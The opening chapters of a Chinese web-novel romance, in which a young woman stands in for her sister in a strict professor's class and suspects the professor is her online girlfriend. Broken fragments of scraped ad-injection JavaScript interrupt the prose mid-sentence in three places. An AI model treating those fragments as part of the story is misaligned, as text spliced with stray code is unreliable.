《和冰山教授网恋翻车了》 1. 网恋 “喵呜~” 一只浑身雪白的大白猫从床上跳到了季裴身上,用肉粉色的爪垫在她光滑细腻的后背上一阵踩。 “嘶……” 又痛又痒,这辆肥猫最近又长膘了。 季裴刚整理好腰间的蝴蝶结系带,就听见开门的声音从外面响起。 “姐,你在房间吗?我有事找你。” 季繁抿着嘴唇一脸可怜兮兮的模样,从外面推开门后,看见季裴一袭低胸窄腰红裙,正侧面对着自己身体微微前倾。 季繁有些好奇,轻声问:“姐?你在干嘛?” 季裴在听见声音的那一瞬间站直了身体,她手里还捏着手机,如果观察仔细的话,能看得出来她的指节在微微发抖。 不过季繁一向神经大条,所有的注意力全都在季裴光滑裸.露的后背上,她好像还从来没见过季裴穿得这么性.感暴.露呢。 不过倒是还真的挺好看,穿得这么隆重,难不成是要去走什么红毯? 季裴放下手机,退出相机app,转过头皱着眉头说:“进来怎么不敲门?” “我每次进你房间什么时候敲过门。”季繁盯着季裴胸前那一大片雪白的肌肤,忍不住多打量了几眼,小心翼翼地问:“姐,你穿这么漂亮,是交男朋友了吗?” 季裴的身材一等一的好,最起码是季繁认识那么多人里最顶尖的那个了。 她长这么大除了那些维密超模,还从来没见过比她姐身材更好的女人。 如果季裴不画画的话,说不定现在正在维密当模特呢。 从小到大季裴就肤白貌美前凸后翘,追她的人不计其数。 不过季繁很少见季裴打扮,更何况是这种性感美艳的红色长裙,她是第一次见。 “没有,谁说一定要交男朋友才能打扮自己。” 季裴稍微不自在地整理了一下吊带,解释说:“我只是拿出来试试……这条新买的裙子。” “好看好看。” 季繁靠在墙边欣赏了一会儿,后知后觉想起自己是干什么来的,一脸谄媚地开口说:“姐姐,我的好姐姐。” 季裴打开手机,从支付宝转了两万块钱到季繁的账户上,面无表情地说:“零花钱给你转过去了,现在,马上,从我房间出去,以后要敲门才能进来。” “我……” 季繁一开始并不是为了零花钱的事情过来的,这件事她有些话不太好意思说出口,不过现在能帮她的只有季裴了。 “姐姐,我下午要去S市找对象,你今天有没有空啊,替我上半天课好不好。” 季裴双目微微眯起,抱着手臂居高临下地盯着一脸紧张的季繁,手指勾着长发卷了卷,说:“让我替你上课?” “就这一次!”季繁举起右手发誓说:“我包一年的家务活!天天给你做饭!” 季裴冷笑一声,“你给我做饭,那我离英年早逝也就不远了。” 她姐姐的嘴向来就跟淬了毒一样,季繁早就见怪不怪了。 季繁两只手揪在一起,声音又细又小,说:“那我给你打扫卫生,端茶倒水,喂猫喂狗天天铲屎还不成嘛……” 季裴闻言唇角一勾,“成交。” · 季繁屁颠屁颠地收拾好行李箱,当天下午就飞去了S市,只剩下季裴一个人在家面对着两猫一狗。 这三个小家伙都是季繁从外面捡回来的,天天不干正经事,就喜欢捡一些猫猫狗狗往家里带。 平时季繁去学校上课,只有晚上回家吃饭睡觉,捡回来的流浪猫狗一直都是季裴在养。 这三个小家伙的皮毛被滋养得越来越柔顺漂亮,甚至都长出了一片一片的蒜瓣毛。 手机传来了两下震动,季裴点开屏幕一看,是那个淡粉色软件传来的联系人消息。 这个软件叫做分贝,季裴一开始还以为是个唱歌软件,被朋友忽悠下载了之后,却发现这和自己想象的根本不一样。 这是个庞大的女同性恋交友网站! 季裴天生就不是什么直女,她鬼使神差注册了一个账号,拍了一张猫猫的照片当头像。 自从季裴下载了这个软件后,就总是受到一些莫名其妙的骚扰。 原因很简单,她实在不想上传自己的半身照,干脆就拍了个手部照片,结果却适得其反。 真是太可怕了。 在填写完所有的星座年龄个性签名后,季裴被自动匹配给了一个叫“冬日”的网友。 她发誓匹配成功绝对不是自己的鬼迷心窍,当时季裴正洗完澡出来,家里的猫跳上了她的床,在亮起来的屏幕上,用粉色爪垫一通乱拍。 结果两个人就莫名其妙地配了对,最后还一路速通,升级成了灵魂伴侣。 季裴点开软件一看,果然是冬日发来的消息,她在催促自己为什么还不发照片过来。 这条裙子质感非常好,季裴用手指轻柔地抚摸着裙摆,拿出手机在平时用的购物软件上搜了一下图,居然没找到同款。 大概应该是纯手工制作的,之前冬日还问过她的三围和身高。 季裴的手指在手机屏幕上敲敲打打,发过去一条消息。 季风:【你给我买的这条裙子胸口也太低了,我怎么穿出去啊】 对方很快就回复了季裴的消息。 冬日:【只能穿给我看】 占有欲还挺强。 季裴捏着手机的手指微微一顿,抿着嘴唇笑了起来,她可真的太想知道对方的庐山真面目了。 两个人网恋了差不多有半个月左右,最开始送礼物这件事还是季裴提出来的。 根据软件距离来看,对方住的地方离她有两百多公里。 季裴在页面置顶的地方点了一下,现在这个距离位置还是两百公里开外。 季裴还是挺想和她见一面的,但是这才网恋多久,这么快见面是不是有点太早了。 她刚才扭着身体,自拍了几张低胸照片,整个饱.满的胸.口呼之欲出,看得季裴整个人都有点脸红。 这种照片……实在不好意思发出去啊。 不过她手比脑子动得要快,在大脑还没下达指令之前,季裴就已经把照片给发出去了。 “……” 啊啊啊啊啊好羞耻! 季裴在心中无能狂喊,恨不得在地板上蹦两下转个圈,她关掉手机放在一边,听到震动后根本不敢打开看。 冬日肯定又发了些什么令人面红耳赤的话过来,她才不要看呢。 一想到下午要去学校替季繁上课,季裴就头大,她还从来没干过这种事情,不知道学校大门的门禁还能不能刷脸进去。 季裴去年刚毕业,由于她经常出入校门,和北校门口保安亭里的保安都混熟了,有时候脸刷不上还会特意给她开个绿色通道过去。 毕业的时候,横幅上写着,学校的大门将永远为你们敞开,季裴要是相信那可就真的闹鬼了。 季裴脱掉了身上的长裙,来到自己的衣帽间,打开了最里面的一扇隐秘柜门。 柜门打开的那一瞬间,季裴咬着下嘴唇一言不发,雪白的脸颊上浮现出一袭淡淡的粉色。 这个柜子里面的东西实在是看得人面红耳赤,季裴每次进衣帽间都一阵心虚,根本不敢打开来看。 这些衣服都是冬日送给她的,有性感的兔耳黑.丝女仆装,还有半.裸的蕾丝胸衣内裤,剩下的那些…… 季裴猛地关上柜门,选了一套比较日常款式的衣服,粉衬衫加一条深蓝色牛仔裤。 她穿衬衫习惯把下摆掖进裤腰中,显得两条腿笔直修长,腰身劲瘦纤细却不失力量。 临走之前,季裴拿出一顶鸭舌帽扣在头上,还戴了一只黑色口罩。 很快她就把帽子给摘了下来,刚洗完的头被帽子一压难看得很,她整理了一下柔软的发丝,弄了个慵懒的造型出来。 下午两点上课,她要在一点半之前出现在学校内,顺便在教室里找一个隐蔽点的位置把自己藏起来。 季裴上了那么多年学,对这点是心知肚明,只要她不穿一些奇装异服,或者是染什么吸人眼球的发色,老师基本上点不到她的名字。 凭借着和保安大叔四年来风风雨雨的交情,季裴成功混进了学校,在看见那些青春洋溢的花朵面孔后,忍不住叹了一口气。 果然人一离开校园,踏入工作岗位就会被吸干精气。 她的大学微信群现在还有人聊天,点开一看,是当初那个女班长在群里@人参加同学聚会。 季裴也被@到了。 她才不想去,她到现在连大学同班同学都没认全,至于这个班长…… 季裴不想多说。 · 刚进了学校大门,季裴准备往教学楼走,后知后觉想起季繁还没给她发下午的课程 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 表。 季裴:【课程表发过来】 她在A大上了四年学,对绝大多数建筑的位置都了如指掌。 季繁应该是还在飞机上,没有收到季裴发过去的消息。 现在还没到一点半,季裴也不着急,就溜达到食堂准备买支冰淇淋。 她的身高在一米七六左右,穿着平底鞋都比很多男生要高,在一群人中更是鹤立鸡群的存在。 这个时候食堂的人并不多,季裴捏着冰淇淋甜筒,在食堂内随便找了个位置坐下了。 这时候,眼前一片阴影压了下来,季裴一抬头,对上了一个高个子小帅哥的目光。 对方的眼神看起来非常羞涩,嘴唇还微微地抿着,捏着手机一脸紧张地说:“姐姐你好,我可不可以加一下你的微信啊?” 季裴朝着他微微一笑,脱口而出的四个字彻底断绝了对方的念头。 “我是女同。” 小帅哥哭丧着脸夺门而出。 · 甜筒吃到还剩半截的时候,她收到了季繁发过来的消息。 季繁下午有两堂课,一堂专业课,另一堂是选修课。 还是挺好上的。 ——等等! 季裴目光一顿,将手机里的课程截图双指放大,看着那节哲学选修课的一瞬间,差点没把手里的甜筒给捏碎。 什么? 江羡寒? 那个超级无敌冷血残酷不讲情面大魔王? 这下完了。 江羡寒的大名季裴早就有所耳闻,之前还听其他舍友说幸好没有选到她的哲学选修,否则期末考试挂科补考就是家常便饭。 选修课都这么严格了,专业课肯定更惨绝人寰,季裴都不敢想上她的课神经会有多紧绷。 她还听说江羡寒的课没人敢逃,要是被抓到一次直接第二年重修,补考都没机会。 如果季裴知道季繁逃的课是江羡寒的,她肯定不会答应的,哪怕是抛弃爱情也不能旷一分钟课,就算是绑架也要把季繁运到教室上课。 现在距离上课时间还有二十三分钟,季裴该去教室占位置了,她没忍住拨通了季繁的电话,把对方给数落了一顿。 “你怎么不早告诉我是江羡寒的课啊。” “她的课怎么啦?不就是一堂选修课嘛,我听人家说选修课都是水课,姐你就放心去吧。” 听到手机听筒那边季繁无所谓的态度,季裴差点掐人中,“可是你逃的是江羡寒的课……” 季裴压低了声音,站在树底下张望着四周,低着头用脚踢了两下小石头。 “你刚上大学,不知道她的课有多严,翘课一次直接重修,连补考的机会都没有。” “不会吧,选修课而已,她又不认识我,姐姐你伪装好一点嘛。” 季裴恨不得把季繁从网线那头拉出来揍一顿再塞进去,她把丑话说到前面,“要是真的重修了你可不能怪我。” “知道啦。” 季裴和季繁聊了几分钟忘了时间,再次看表发现还有十五分钟就要上课了,她赶紧抱着怀里的书就走。 “同学,你的书掉了。” 身后有人喊了她一声,嗓音仿佛初春凛冽的山泉一般,季裴鬼使神差地就回了头。 她下意识看了一眼怀里的书,只剩下一本,另一本被一只白皙修长的手捏着,正朝着她递过来。 “谢谢……” 季裴在抬起头的那一瞬间,第二个字的尾音差点消失不见。 面前站着的这个女人身材高挑气质成熟,穿着深蓝色条纹衬衫,鼻梁上架着一副金边眼镜,整个人看起来又冷又淡。 季裴屏住呼吸,瞳孔微微缩小,此刻那些模糊偷拍照片中的女人正站在自己眼前。 这是江羡寒! 她一个激灵没接稳,那本书垂直下落,两个人的手同时去够那本书,结果却抓到了一起,呈现出一种十指相扣的姿态来。 柔软,温热,骨感分明,指尖轻轻擦在一起,带着点不易察觉的酥痒。 季裴大脑一片空白,此时此刻她的内心只有两个字在奔腾。 完了。 她瞬间就缩回了手,赶紧把地上掉的那本书捡起来,垂眸说了一声谢谢,转过头抱着两本书就跟上了不远处的上课大军。 江羡寒目送着季裴急匆匆的背影朝着教学楼赶去,站在原地若有所思。 2. 代课 季裴首先跟着大部队去上了第一堂课。 她坐在倒数第一排的位置上,专业课教授刚到,看着前面第一排空出来的位置,扶了扶眼镜笑容和蔼。 “后面那几位同学,你们坐在最后一排看得清楚吗?来前面,前面还有好多空位呢。” 季裴:“……” 她跟着那几位共患难的“同班同学”挪到了第一排,坐在讲台前面如坐针毡,恨不得下一秒就听见下课铃响起。 这位教授还比较随性,从上课到现在都不站在讲台上,而是站在季裴面前,一只手还搭在她的桌面上,指尖不停地敲击着。 季裴屏住呼吸,动一下觉得浑身都是罪恶感。 她坐在最前排靠走廊的位置上,教室大门敞开着通风,季裴用余光能看到走廊的全貌。 她从来没有像现在这样认真听过课,而且听的还是系统解剖学。 她盯着课本上花花绿绿的人体器官解剖图,对着PPT在上面认真做笔记。 该死,季繁是个医学生,而且她之前还信誓旦旦地说,学了医之后,第一个报答的就是季裴。 季繁有几斤几两她能不知道吗?没准某一天就间接把她给送走了。 想到这里,季裴捏着笔的动作微微收紧。 她见旁边的同学拿出手机对着PPT拍照,趁着教授不注意,也咔嚓两声拍了下来。 她要把PPT上的内容发给季繁,让她自己做笔记。 季裴正低着头把照片发给季繁,还编辑了一条消息。 突然发现教授的声音停了下来,她一抬头就看见头顶上影阴的来源。 和江羡寒四目相对的那一瞬间,季裴下意识就把手机往桌肚里藏。 不过很快她就发现自己这一举动不太正常,她现在扮演的是一个大学生的角色,上课时间用手机拍知识点也没什么问题嘛。 季裴放下心来,不过她还没来得及松一口气,一抬头就对上了江羡寒那双冷冰冰的眼眸。 那双眼眸是典型的丹凤眼,双眸狭长,眼尾微微上挑,右眼眼尾还点缀着一颗泪痣。 江羡寒垂眸盯着她的那一瞬间,哪怕那双眸子里看不出来任何表情,季裴还是呼吸一滞。 江羡寒的眼睛,实在是太有攻击性了,一般人根本招架不住。 她悄悄低下头,假装刚才的一切都没发生,耳畔传来两人交谈的声音,半分钟过去后,江羡寒就离开了教室。 下堂课是江羡寒的哲学选修课,她发誓自己一定要坐在倒数第二排靠边的位置上,最后一排实在是太危险了。 一个多小时总算是熬过去了,季裴把比较重要的知识点全都拍了下来,课本上还做了不少笔记。 她觉得自己已经做到仁至义尽了,看着季繁之前那些连笔记都没做过的空白页,季裴不禁有些牙疼。 研究了的一下季繁的所谓的笔记,季裴不由得开始感慨,如果未来自己这个好妹妹真的做了医生,以后生病谁敢找她挂号啊。 这堂课总算是熬到结束了,季裴手机照片里存满了PPT知识点,一边走着一边把照片发给季繁。 季裴:【给你把知识点拍下来了,听说以后考试会用到】 季繁那边没什么动静,季裴抿着嘴唇,总觉得这个人估计是跟她所谓的网恋对象在一起玩疯了。 下一节课是江羡寒的,季裴开始紧张起来,说不紧张是不可能的。 如果她的替课没有被发现还好,万一被发现,那季繁可就不是单纯挂科那么简单了。 阶梯教室内,季裴一过去就发现教室里已经坐了一大半的人,没想到江羡寒的课还挺受欢迎,居然有那么多人选。 她曾经听说过发生在江羡寒身上的事情,也听别人说过,这些来上她的选修课的,有一部分是她的“爱慕者”。 季裴搓了搓手臂上的鸡皮疙瘩,心说这些人也别太折磨自己了,没事好端端的为什么非要自己给自己找罪受。 二十分钟休息时间,季裴如愿以偿地坐在了倒数第二排的位置,不过靠墙的位置已经被占了,她只能坐在挨着阶梯的地方。 在上课铃打响的前三分钟,江羡寒踩着矮跟鞋走上讲台。 身姿修长挺拔,衬衫长袖被她卷到小臂以上的位置,离得近了能看见完美漂亮的肌肉线条,像是经常健身的人。 季裴一手托腮,安安静静地坐在位置上,目光从倒数第二排,缓缓飘向讲台上准备课件的江羡寒身上。 她现在总算知道为什么江羡寒校内校外有那么多的追求者了。 还有一分钟上课,季裴的目光飘向四周,见其他学生都陆陆续续地收起手机,她也把手机塞进了桌子下面。 手机屏幕上闪现了几条淡粉色横幅,季裴不用点开看就知道那是分贝传来的提示,估计是冬日在问她为什么不回自己消息。 季裴刚要点开看,做贼心虚的那一瞬,她和讲台上目光如炬,正在往这个方向看的江羡寒四目相对。 完了。 季裴在心里不知道说了多少个“完了”,她的右眼皮开始狂跳。 季裴狠狠地揉了两下眼睛,假装面不改色若无其事地低着头看课本。 江羡寒站在讲台上,将她刚才所有的动作尽收眼底,然后打开PPT课件。 哲学什么的,季裴根本看不懂,她总觉得这门学科说不清的飘渺,还不如学美术来得实在。 “上课已经一分钟了,看来有些同学是出了点事忘记了。” 悦耳如同清泉般的嗓音透过扩音器传入季裴的耳中,听得她醉醺醺的,脚底仿佛踩着云朵一般。 这道声音似乎在什么地方听到过,季裴总觉得有点耳熟,大概是电视剧里哪位CV吧。 助教站在江羡寒身边,两人互相点了点头,江羡寒唇角一勾,拿起手中的花名册开始点名。 季裴的心咯噔一下,在江羡寒念第一个名字的时候,她的心就已经快跳出嗓子眼了。 桌子开始不停地抖动,季裴还以为是自己被吓坏了,无意识地发抖。 可当她稍微把头转过去的时候,坐在她右边的那个长发及肩的女孩,两股战战,嘴唇看着还有点发白。 季裴秉着“学雷锋做好事”的良好品德,多嘴问了一句:“同学?你是不是低血糖?” 女同学摇了摇头,拿起手里那本毛概翻开十几页,低着头小声说:“不是,我是来代课的。” 季裴:“……” 这么实诚的卖家已经不多见了。 不过季裴见她两条腿抖来抖去,业务看起来不够熟练 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 啊,应该是刚入行没多久。 女同学见季裴露出震惊的表情,继续说:“你可千万不要举报我啊,我这一单两百块呢。” “我知道,但是……” 季裴欲言又止,手指搭在桌面上转了个方向,指着女同学手里的课本。 “你拿的是毛概啊。” 女同学露出一个泫然欲泣的表情,恨不得把脸塞进桌子里,“我知道,我带错书了。” 这么不靠谱的卖家更不多见了。 季裴沉默了两秒,真诚地说:“祝你好运。” 江羡寒念着其他人的名字,目光却始终落在倒数第二排靠走廊的那个位置上。 那两个女学生,头发一长一短,当着她的面光明正大地交头接耳。 尤其是那个一头蓬松黑色长发的学生,看起来似乎有些面熟。 “季繁。” 季繁的名字从江羡寒口中缓缓念出,她站在讲台上,见没有人站起来,于是就又喊了一遍。 “季繁同学来了吗?” 季裴的手还捏着一支笔,在听见江羡寒念第二遍的时候,一下子就从座位上弹了起来。 “到。” 镜片之下,是江羡寒那双凌厉的凤眸,她不动声色从上到下打量了一遍对方。 “好,请坐。” 女生的身材高挑修长,粉色衬衫的下摆塞进裤腰之中,双腿又直又长,粉色上衣衬得她的肌肤雪白又健康。 江羡寒收回目光,将季繁这个名字默默地记在心里,继续开始点名。 被点到坐下后,季裴松了一口气,即将跳出嗓子眼的心脏又沉了回去。 幸好,江羡寒不认识她,这堂课最紧张的点名环节已经过去了,剩下的应该就比较好熬了吧。 点名到最后,助教把那些缺课的学生名字全部都记了下来,一共是两男一女三人,等待着他们的是挂科预警。 “我讲课不习惯看课本。” 江羡寒双臂撑在讲台上,上半身微微前倾,长发微微垂在肩头,清冷知性又优雅。 “给你们准备课件,是为了让你们更好的理解这些哲学问题。” 季裴移开目光,低头盯着课本,拿出陪伴着自己一整个大学的那根兔子水笔,在课本第一页写上了自己的名字。 写完以后她就愣住了。 她一开始准备写“季繁”两个字的,结果顺手写成了自己的。 江羡寒在讲台上发言,季裴在桌子底下悄悄打开手机,做贼心虚再加上业务不熟练,结果输错了好几次密码,手机被锁定了十五分钟。 “……” 她只好认真听讲了。 季裴跟着江羡寒的提示,把课本翻到正在讲的那一页,用兔子笔做笔记。 哲学什么的她根本看不懂,季裴本来想着随便做做笔记,这节课熬过去就万事大吉了,结果她正抵着下巴,就被江羡寒叫到了名字。 “季繁。” 有那么一瞬间,季裴如遭雷击,在确认江羡寒叫的是自己后,她咬着下嘴唇,下意识把手机往桌子里面一塞。 见对方磨磨蹭蹭站起来,江羡寒的目光如同实质般在季裴脸上扫视着,嗓音清冽。 “季繁同学,请你站起来发表一下自己的见解吧。” 3. 挂科 季裴在被叫起来后咽了咽喉咙。 她站起来对上江羡寒的眼睛,见对方已经用粉笔在黑板上写了几个颇有韵味的瘦金体。 “人死后仍有余生吗?” 看来这就是江羡寒让她站起来回答的问题。 “有。” 季裴稍微思索了一下,捏着兔子笔的手微微蜷缩,对上了讲台上江羡寒的那双丹凤眼。 江羡寒的嗓音中透露着点轻快:“为什么?” “一个人的价值不是生与死决定的,人死后,肉/体会随着时间消亡,可是一个人的意志,却不会因为肉/体的消亡而消失。” 季裴正好看到课本的这一面,稍微将理论和自己的所见所得结合了一下。 江羡寒满意地点点头,朝着身边的助教说:“白茵,给这位同学的平时分加五分。” 她直视着季裴的眼睛,又问了一句:“你叫什么名字?” 季裴心虚地舔了舔嘴唇:“季繁。” “好的,季繁同学,请坐。” 季裴坐下去的那一瞬间,感觉天瞬间就亮了起来,手也不抖腿也不酸了,绷着嘴唇差点要笑出来。 她见前面那几个桌的学生在桌子底下偷偷玩手机,想起自己已经大半天没理冬日了,就偷偷拿出手机,眯着眼睛解锁。 刚才那锁定的十五分钟已经结束,季裴点开分贝软件,找到了和冬日的聊天界面,才发现对方给她发了四五条消息。 冬日:【很白很大,领口再往下一点就更完美了】 冬日:【什么时候拍视频给我看】 冬日:【怎么不回我消息】 季裴看了一眼,最近这条消息是一个小时以前发过来的。 季裴的脸唰的一下就红了,她扶着手机单手打字。 我……在……上……课…… 下……课……再……聊…… 编辑完这句话后,季裴点了发送。 “叮咚——” 安静的教室里传来一阵提示铃的声音,不知道是哪个倒霉蛋没关静音,会不会被江羡寒给抓住扣分。 阶梯教室内一群人纷纷侧首观看吃瓜,季裴小心翼翼地收起手机,也顺着其他人的目光看过去。 江羡寒脸上倒是没什么多余的表情,身边的助教白茵见状倒吸了一口凉气。 江羡寒盯着自己亮起来的手机屏幕,点开那个粉色软件看了一眼,之后又当着所有人的面,面无表情打开静音键。 “继续上课。” 季裴没想到江羡寒居然是这么厚脸皮的一个人,课堂上不准玩手机必须关静音的规矩是她定的,现在打破规矩的居然也是她。 冬日没有回复她消息,但是那条消息后面却显示“已读”,弄得季裴开始郁闷起来了。 每次发消息,冬日都是秒回,怎么今天已读不回,这是从来没发生过的事情啊。 难不成现在是在工作,看完消息之后就忘记回复了? 也是有这个可能的。 她又把手机往下挪了几厘米,在看见上面那串距离后双目微睁。 0.01公里?! 这也就是说,冬日现在就在这个教室里坐着! 难道她也是A大的学生么? 季裴心中紧张又兴奋,她开始悄悄观察着周围人的动静,目光在整个教室里扫射。 她之前问过冬日是什么发型,冬日说是过肩长发。 季裴看了一圈,教室里长头发的女生并不少,但是这些女生基本上都抬着头认真听课,根本没有在玩手机。 反而是周围那群男生,有的低着头打字发消息,有的则是在玩游戏。 该不会她碰到的那个所谓的完美女友是个男的吧! 也不是没有这个可能,季裴的心当时就寒了下来。 这一切都有迹可循,冬日从来没有主动跟她打过语音电话,她根本不知道对方究竟是男是女。 难不成她谈了两个月的“女友”,是个男人伪装成的骗子! 细思极恐,季裴整颗心都沉了下来,咬着下嘴唇似乎是在思索着什么。 随后,她单手用键盘打字,删删改改之后,发了一条消息过去。 季风:【亲爱的,我们在一起那么久了,好想听听你的声音啊】 季裴发完消息就把手机塞了进去,江羡寒的嗓音哪怕有穿透鼓膜的力量,季裴现在一句都听不进去。 手机另一头迟迟没有回复,江羡寒站在讲台上,看着自己的手机屏幕亮起来又暗下去,唇角微微勾起。 还是没有回复,季裴一脸生无可恋地盯着课本上的人物插图看,接着拿起笔,给他画了一个巴萨博船长的大胡子妆容。 她就知道,自己被骗了,这个人迟迟不发语音过来,说不定是在琢磨用什么变声器来骗自己呢。 季裴心如死灰,内心悲伤和怒火充斥了整个理智,她把手机拿到了桌面上,在和冬日的聊天界面上打字。 打字五分钟,季裴连一句完整的话都没打出来,她面如死灰地准备把编辑好的那句“我们不合适”发过去,紧接着头顶上笼罩了一片阴影。 教室内,所有人纷纷转头,目光聚拢向季裴身上,有幸灾乐祸的,还有暗自惋惜的。 江羡寒脸上的表情淡淡的,语气不容置喙:“手机拿来。” 季裴还没来得及关掉页面,就被江羡寒从手里抽走了手机,她低下头抿着嘴唇,没有注意到对方看了一眼她的手机屏幕。 江羡寒转头就对助教说:“白茵,把刚才我加的平时分扣掉。” 季裴:“……” 说扣就扣啊! 这堂课季裴听得前所未有的认真,她被收了手机。 季裴想不明白为什么,都上大学了,而且还是一堂选修课,江羡寒居然当着全教室人的面收走了她的手机。 幸好她现在的身份是季繁。 下课铃一响,江羡寒就关掉投影离开了教室,绝对不占用课堂的一分一秒。 周围同学都在收拾书包,几个认识的已经在商量晚饭吃什么了。 “东食堂二楼开了一家黄焖鸡,特别好吃!” “走走走!幸好这教授不拖堂,你赶紧去占位置!” 黄焖鸡,听得季裴肚子都饿了,她打算等会儿也去东食堂看看有什么好吃的。 季裴想起自己的手机还在江羡寒那里,她正准备站起来去办公室找江羡寒,就见到那位叫白茵的助教从讲台上朝着她走过来。 白茵怀里抱着电脑,给季裴来了当头一击:“季繁同学,江教授说让你下课去办公室找她。” 季裴:“……” 见季裴一副多云转阴的表情,白茵忍不住安慰说:“季繁同学,其实江教授人还挺好的,玩手机其实也不算什么大事,她的规矩就是这样。” 季裴点点头,跟在白茵身后:“谢谢你,白助教。” 季裴平生最害怕的就是和老师单独相处,尤其还是江羡寒这种压迫感异常强的女教授。 她两只手搅着垂下来的袖口,跟着白茵进了江羡寒的办公室。 江羡寒就坐在靠窗的办公桌旁,她的面前挡着一摞厚厚的书本,遮住了下半张脸,只剩下一双低垂着的凤眸。 她听到动静后缓缓抬头,视线和季裴撞了个正着。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 白茵贴在季裴耳边,小声地提醒了一句“祝你好运”,把电脑放在江羡寒面前,撒腿就跑。 办公室内没有其他教授,只有季裴和江羡寒两个人在,一般这种情况下更恐怖。 “江教授,您好,我是来拿我的手机的,您还有别的事找我么?” 江羡寒放在窗台的那壶茉莉花茶已经煮好了,她示意季裴坐下,拿出两个冰裂纹青瓷杯,分别倒了两杯。 清透漂亮的茶汤冒着热气,从壶嘴缓缓倾泻而出。 季裴看着这样优雅的一幕,差点看得入迷。 “季繁同学,现在在什么地方?” 突如其来的揭穿,令季裴差点把手里的瓷杯给丢出去,这样的动作落在其他人眼里,倒像是被热茶给烫到了似的。 “季繁她……她现在……” 江羡寒目不转睛地盯着季裴的眼睛,她眼角那颗泪痣仿佛会闪烁一般,看得季裴差点陷了进去。 “现在?在哪儿?” “江教授,其实我这么做是有原因的。” 江羡寒注视着季裴微微卷曲的睫毛,她那水墨画一般的狭长双眸稍微一凝,看得季裴又做贼心虚地低下了头。 “告诉我你的理由。” 季裴的大脑飞速运转,她咬着下唇,抬头和江羡寒目光相接。 “其实我妹妹她……今天下午被一辆车给撞了……” 江羡寒难得抿着嘴唇:“货车还是汽车?” “自行车……” 季裴小声嘟囔着说:“要是货车她现在还有命去……” 江羡寒接着问:“去哪儿?” “去医院检查啊。” 季裴心里没什么底,只好又编了一个谎话:“她比较怕死嘛,所以就……自己一个人去了医院,现在应该已经回家了吧。” “你回去告诉她,这门学科她以后不用来上课了,明年重修,记得保存好课本,别弄丢了。” 季裴闭上眼睛,为季繁默哀了两秒钟,随后大义灭亲:“是啊,我一开始就告诉她,这样做不好,谁知道……” 那双如同水墨般描绘出的丹凤眼弯了弯,江羡寒听着季裴絮絮叨叨,修长白皙的手指慢慢摩挲着圆润的茶杯。 “你叫什么名字?” “季裴。” “季裴。” 江羡寒将这两个字勾在舌尖,缓缓说道:“名字不错。” “你今年多大?” 季裴实话实说:“二十二。” 江羡寒微微挑眉道:“二十二?在上大四?” 季裴回答说:“我大学毕业快一年了。” 季裴目光落在江羡寒手里那杯茉莉花茶上,她也不清楚自己看的究竟是杯子还是对方的手指。 “那,江教授,您可以把手机还给我了吗?” 江羡寒打开手边那个淡绿色的小盒子,拿出手机递给季裴,面不改色地说:“刚才你的手机一直在闪,快看看是谁给你发的消息。” 江羡寒的指尖和季裴的手指缓缓擦过,眸子里带着浅浅的笑意。 “别让她等太久。” 季裴准备转身离开,江羡寒却又叫住了她。 “加个微信吧,以后季繁同学在学习方面有什么事情,我可以提前告知你。” 季裴上大学那会儿,季繁上高中,她扮演着家长的角色,加了不少家长群学习群。 她也没多想,打开微信二维码,让江羡寒扫了一下。 两人成功加上微信,季裴礼貌地点点头,然后离开了办公室。 江羡寒盯着那两只猫一只狗的头像,将季裴设置成了置顶聊天。 4. 掰弯 季裴浑浑噩噩地离开了A大校园,她首先打开手机给季繁发了条消息。 季裴:【你的哲学选修挂了,我把书给你带回来,明年记得重修】 发完这条消息,季裴回到了自己的车里,坐在主驾驶座上一脸愁云惨淡,仿佛谁欠了她几百万似的。 季繁没回消息,估计是没看手机。 季裴打开分贝那个软件,看见了冬日发来的消息。 冬日:【你还在上学?】 冬日:【大学?】 季裴一只手放在方向盘上,点开了冬日发过来的语音,在听到那阵如同流水般轻柔温和的嗓音后,浑身上下都酥麻一片。 这真的是冬日的声音么? 季裴一开始想象的是,一个渣男用变声器来伪装女人,可是当她听到这阵声音之后,瞬间就放下了所有的防备。 这么好听的声音,怎么可能会是用变声器造假出来的呢。 看来她真的错怪冬日了。 季裴打字发送过去。 季风:【你的声音真好听】 她恨不得把手机丢进驾驶座座椅缝里听一个下午,但是她现在要开车回家了。 季裴刚才看了一眼家里的监控,两只猫一只狗打翻了饭盆和水碗,还挑衅地冲着摄像头喵呜喵呜叫唤。 现在家里弄得是一片狼藉,她必须赶在事态更糟糕之前回家收拾干净。 手机微信铃声又响了几下,季裴开车不方便看手机,没打电话过来说明就不是什么急事。 她专心开车,来到了一家花店门口,把车停在了附近的空位置上。 · 季裴每天都会来买一束粉色的新鲜百合。 这家店的老板是她的大学舍友,季裴不需要提前预订,每天下午三点,固定这个点过来拿鲜花。 叶文竹坐在小板凳上,嘴里还叼着一根冰棍:“你今天怎么这么晚才过来?” 季裴接过花店学徒递来的百合。 “有点事回了一趟学校,你不知道现在学校食堂又扩大了,专门就等我们这一届毕业呢。” 叶文竹打开手机微信,把大学班级群聊天界面推到季裴面前。 “谢贞在群里@你,想让你参加下个月的同学聚会呢,@你好几次了,你看这怎么办?” 季裴抱着百合花,花骨朵蹭到了她的脸,凉丝丝的。 “怎么办?凉拌。” 叶文竹面色凝重:“我知道你不想去,但是她没有私聊你,专门在群里@你,就是故意做给其他人看的。” 见季裴一脸无所谓的表情,叶文竹叹了一口气。 “我知道她没安什么好心,当初在学校那会儿她就对你穷追不舍,这些我都看在眼里。” 叶文竹用剪刀削去玫瑰花的根部,头也不抬地说:“你最后从宿舍搬出去住,也是因为她。” “文竹,这件事都过去那么久了,我也不想提。” 季裴抚摸着粉色的花骨朵,唇角微微勾起,说:“我现在已经找到对象了,她又温柔声音又好听。” “什么?你有对象了?男的女的?做什么的?家里有钱吗?” 季裴眉心微微蹙起:“你怎么这么激动,查户口来啦?” “我这是在担心你!” 叶文竹听见这话都震惊了起来,当初艺术系那么多漂亮女孩,季裴愣是从几千号人中脱颖而出。 不管是证件照还是学信网照片,她的皮肤总是白到发光,五官立体优越,完美得像AI生成。 叶文竹回想起当年她刚进学校宿舍那天,正好看见季裴坐在椅子上盘腿打游戏。 